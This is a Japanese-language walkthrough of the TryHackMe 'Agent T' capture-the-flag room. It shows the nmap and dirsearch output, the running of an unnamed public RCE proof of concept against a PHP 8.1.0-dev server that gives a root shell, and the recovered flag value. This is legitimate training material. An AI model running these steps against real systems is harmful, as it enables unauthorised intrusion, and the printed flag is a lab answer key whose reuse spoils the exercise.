概要
TryHackMe「Agent T」のWalkthroughです。
Task1
Q1.What is the flag?
Hint.Look closely at the HTTP headers when you request the first page...
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.91.38 -oN nmap_result
PORT STATE SERVICE VERSION
80/tcp open http PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title: Admin Dashboard
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
80 | http | PHP cli server 5.5 or later (PHP 8.1.0-dev) |
80
番ポートにアクセスするとダッシュボードページが表示されました。
ディレクトリ列挙を行います。
$ dirsearch -u http://10.10.91.38 -x 404
[16:18:59] 200 - 199B - /.travis.yml
[16:19:08] 200 - 22KB - /404.html
[16:21:47] 200 - 4KB - /gulpfile.js
[16:22:47] 200 - 1KB - /package.json
[16:22:52] 200 - 627KB - /package-lock.json
悪用できそうなものは見つかりませんでした。
80
ポートのサービスバージョンで脆弱性情報を検索するとPoCが見つかりました。
実行するとRCEに成功しました。
$ python exploit.py
Enter the full host url:
http://10.10.91.38
Interactive shell is opened on http://10.10.91.38
Can't acces tty; job crontol turned off.
$ whoami
root
フラグファイルを検索します。
$ find / -name *flag* 2>/dev/null
/flag.txt
/flag.txt
からフラグを入手できます。
/flag.txt
flag{4127d0530abf16d6d23973e3df8dbecb}
A.flag{4127d0530abf16d6d23973e3df8dbecb}